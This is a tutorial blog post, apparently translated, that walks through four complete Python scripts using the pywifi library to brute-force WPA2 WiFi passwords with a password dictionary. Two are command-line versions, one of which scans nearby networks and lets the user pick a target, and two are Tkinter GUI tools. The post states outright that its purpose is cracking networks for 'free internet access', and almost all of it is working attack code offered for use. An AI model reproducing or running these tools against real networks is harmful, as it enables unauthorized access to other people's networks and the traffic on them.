Crack WiFi passwords with Python, the most comprehensive guide here!

Introduction#

This article will document how to implement brute force cracking of WIFI passwords using Python scripts, thereby achieving free internet access.

No Graphical Interface#

First, let's take a look at the brute force script without a graphical interface.
WIFI cracking, no nonsense, let's get straight to the code. Beginners who don't understand can copy the code into ChatGPT and ask it to explain it line by line.

import pywifi
from pywifi import const
import time
import datetime

# Test connection, return connection result
def wifiConnect(pwd):
    # Capture network card interface
    wifi = pywifi.PyWiFi()
    # Get the first wireless network card
    ifaces = wifi.interfaces()[0]
    # Disconnect all connections
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # Create WiFi connection file
        profile = pywifi.Profile()
        # The name of the WiFi to connect to
        profile.ssid = "Tr0e"
        # The open status of the network card
        profile.auth = const.AUTH_ALG_OPEN
        # WiFi encryption algorithm, generally the WiFi encryption algorithm is WPS
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # Encryption unit
        profile.cipher = const.CIPHER_TYPE_CCMP
        # Call password
        profile.key = pwd
        # Delete all previously connected WiFi files
        ifaces.remove_all_network_profiles()
        # Set new connection file
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # WiFi connection time
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("Already connected to WiFi")


# Read password book
def readPassword():
    success = False
    print("****************** WIFI Cracking ******************")
    # Path to the password book
    path = "pwd.txt"
    # Open file
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            # Remove the newline character at the end of the password
            pwd = pwd.strip('\n')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] Password cracked: ", pwd)
                print("[*] WiFi connected automatically!!!")
                success = True
                break
            else:
                # Exit the current loop and proceed to the next iteration
                print("Cracking the WIFI password for SSID %s, currently testing password: %s"%("Tr0e",pwd))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        print("[*] Total time taken to crack the WIFI password: {}".format(end - start))
    else:
        print("[*] Unfortunately, we could not help you crack the password for the specified WiFi. Please change the password dictionary and try again!")
    exit(0)


if __name__=="__main__":
    readPassword()

Code running effect:

Script Optimization
The above script requires embedding the WIFI name and the path to the cracking dictionary, lacking flexibility. Let's proceed with the optimization:

import pywifi
import time
from pywifi import const

# WiFi scanning module
def wifi_scan():
    # Initialize wifi
    wifi = pywifi.PyWiFi()
    # Use the first wireless network card
    interface = wifi.interfaces()[0]
    # Start scanning
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\rScanning for available WiFi, please wait...（' + str(3 - i), end='）')
    print('\rScan complete!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('No.', 'Signal Strength', 'WiFi Name'))
    # Scan results, scan_results() returns a set containing each WiFi object
    bss = interface.scan_results()
    # Set to store WiFi names
    wifi_name_set = set()
    for w in bss:
        # Solve garbled characters
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # Store in a list and sort by signal
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # Formatted output
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # Return WiFi list
    return wifi_name_list

# WIFI cracking module
def wifi_password_crack(wifi_name):
    # Dictionary path
    wifi_dic_path = input("Please enter the local path for the password dictionary used for WIFI brute force cracking (txt format, one password per line): ")
    with open(wifi_dic_path, 'r') as f:
        # Iterate through passwords
        for pwd in f:
            # Remove the newline character at the end of the password
            pwd = pwd.strip('\n')
            # Create WiFi object
            wifi = pywifi.PyWiFi()
            # Create network card object, for the first WiFi network card
            interface = wifi.interfaces()[0]
            # Disconnect all WiFi connections
            interface.disconnect()
            # Wait for it to disconnect
            while interface.status() == 4:
                # Wait for it to disconnect while it is in a connected state
                pass
            # Create connection file (object)
            profile = pywifi.Profile()
            # WiFi name
            profile.ssid = wifi_name
            # Requires authentication
            profile.auth = const.AUTH_ALG_OPEN
            # Default WiFi encryption algorithm
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # WiFi password
            profile.key = pwd
            # Delete all WiFi connection files
            interface.remove_all_network_profiles()
            # Set new WiFi connection file
            tmp_profile = interface.add_network_profile(profile)
            # Start trying to connect
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # Interface status 4 indicates successful connection (if the attempt time exceeds 1.5 seconds, it is an incorrect password; it has been tested that correct passwords generally connect within 1.5 seconds; to improve accuracy, it can be set to 2 seconds or more, but the brute force speed will slow down accordingly)
                if interface.status() == 4:
                    print(f'\rConnection successful! Password is: {pwd}')
                    exit(0)
                else:
                    print(f'\rTrying to crack using password {pwd}.', end='')
# Main function
def main():
    # Exit flag
    exit_flag = 0
    # Target number
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi Universal Key'.center(35, '-'))
            # Call scanning module, return a sorted WiFi list
            wifi_list = wifi_scan()
            # Let the user choose the WiFi number to crack, and perform judgment and exception handling on the user input number
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('Please select the WiFi you want to attempt to crack: '))
                    # If the selected WiFi number is within the list, continue to the second judgment; otherwise, re-enter
                    if target_num in range(len(wifi_list)):
                        # Second confirmation
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'The WiFi name you chose to crack is: {wifi_list[target_num][1]}, are you sure? (Y/N)'))
                                # Process user input to lowercase and judge
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # Handle other letter inputs from the user
                                else:
                                    print('You can only enter Y/N oh o(*￣︶￣*)o')
                            # Handle user non-letter input
                            except ValueError:
                                print('You can only enter Y/N oh o(*￣︶￣*)o')
                        # Exit cracking
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('Please re-enter oh (*^▽^*)')
                except ValueError:
                    print('You can only enter numbers oh o(*￣︶￣*)o')
            # Password cracking, pass in the user-selected WiFi name
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e


if __name__ == '__main__':
    main()

The above code implements enumerating all nearby WiFi names based on signal strength, allowing users to choose the WiFi they want to brute force crack, while also flexibly specifying the brute force dictionary, which significantly improves the user experience. Furthermore, the above script can be packaged into an exe file, and the effect of double-clicking to run is as follows:

Graphical Interface#

Next, based on Python's GUI development library Tkinter, we will optimize the above script to implement a user-friendly visual WIFI brute force cracking tool. For the syntax of the Tkinter library, please refer to: Python GUI Programming (Tkinter).
Simple UI


from tkinter import *
from pywifi import const
import pywifi
import time


# Main steps:
# 1. Get the first wireless network card
# 2. Disconnect all WiFi
# 3. Read the password book
# 4. Set sleep time
def wificonnect(str, wifiname):
    # Window wireless object
    wifi = pywifi.PyWiFi()
    # Capture the first wireless network card
    ifaces = wifi.interfaces()[0]
    # Disconnect all WiFi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # Create WiFi connection file
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # WiFi encryption algorithm
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # WiFi password
        profile.key = str
        # Network card development
        profile.auth = const.AUTH_ALG_OPEN
        # Encryption unit, need to write some encryption unit here, otherwise cannot connect
        profile.cipher = const.CIPHER_TYPE_CCMP
        # Delete all WiFi files
        ifaces.remove_all_network_profiles()
        # Set new connection file
        tep_profile = ifaces.add_network_profile(profile)
        # Connect
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def readPwd():
    # Get WiFi name
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            # Read
            mystr = file.readline().strip()
            # Test connection
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, 'Password correct: ' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, 'Password incorrect: ' + mystr)
                text.see(END)
                text.update()
        except:
            continue

# Create window
root = Tk()
root.title('WiFi Cracking')
root.geometry('500x400')
# Label
label = Label(root, text='Enter the WiFi name to crack:')
# Positioning
label.grid()
# Input control
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# List control
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# Button
button = Button(root, text='Start Cracking', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# Show window
root.mainloop()

Script running effect:

UI Upgrade Version#

The above graphical interface does not allow the selection of the password dictionary, so let's optimize and upgrade it:

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # Open file browser in GUI
import tkinter.messagebox  # Open Tkinter message box

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # Password file path
        self.get_value = StringVar()  # Set variable content
        # Get cracked WiFi account
        self.get_wifi_value = StringVar()
        # Get WiFi password
        self.get_wifimm_value = StringVar()
        # Capture network card interface
        self.wifi = pywifi.PyWiFi()
        # Capture the first wireless network card
        self.iface = self.wifi.interfaces()[0]
        # Test link to disconnect all links
        self.iface.disconnect()
        time.sleep(1)  # Sleep for 1 second
        # Test if the network card is in a disconnected state
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # Automatically called function, returns the network card itself
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # Set window
    def set_init_window(self):
        self.init_window_name.title("WIFI Cracking Tool")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="Configuration")  # Frame, the following objects are added to the labelframe
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="Search Nearby WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="Start Cracking", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="Directory Path:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="Add Password File Directory", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi Account:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi Password:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="WiFi List")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # Define tree structure and scrollbar
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # Table headers
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFi ID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="Signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # Search for WiFi
    def scans_wifi_list(self):  # Scan surrounding WiFi list
        # Start scanning
        print("^_^ Starting to scan nearby WiFi...")
        self.iface.scan()
        time.sleep(15)
        # Get scan results after several seconds
        scanres = self.iface.scan_results()
        # Count the number of hotspots discovered nearby
        nums = len(scanres)
        print("Count: %s" % (nums))
        # Actual data
        self.show_scans_wifi_list(scanres)
        return scanres
    # Display WiFi list
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # Add password file directory
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview binding event
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # Read password dictionary and match
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] Password correct! WiFi name: %s, matched password: %s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('Tip', 'Cracking successful!!!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] Password incorrect! WiFi name: %s, matched password: %s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # Match WiFi and password
    def connect(self, pwd_Str, wifi_ssid):
        # Create WiFi connection file
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # WiFi name
        self.profile.auth = const.AUTH_ALG_OPEN  # Network card open
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # WiFi encryption algorithm
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # Encryption unit
        self.profile.key = pwd_Str  # Password
        self.iface.remove_all_network_profiles()  # Delete all WiFi files
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # Set new connection file
        self.iface.connect(self.tmp_profile)  # Connect
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # Check if connected
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # Disconnect
        time.sleep(1)
        # Check disconnection status
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

The script running effect is as follows:

The above is based on Python's GUI development library Tkinter. In fact, Python's GUI programming can also leverage PyQt5 to automatically generate UI code.

Summary
This article learned about the method of brute force cracking WIFI passwords using Python, as well as the basic usage of Python GUI graphical programming.
The shortcomings of the demonstrated code are that none of them used multithreading for WIFI connection testing. In fact, since WIFI connection testing takes a certain amount of time (3-5 seconds), using multithreading can reduce the waiting time during the brute force cracking process.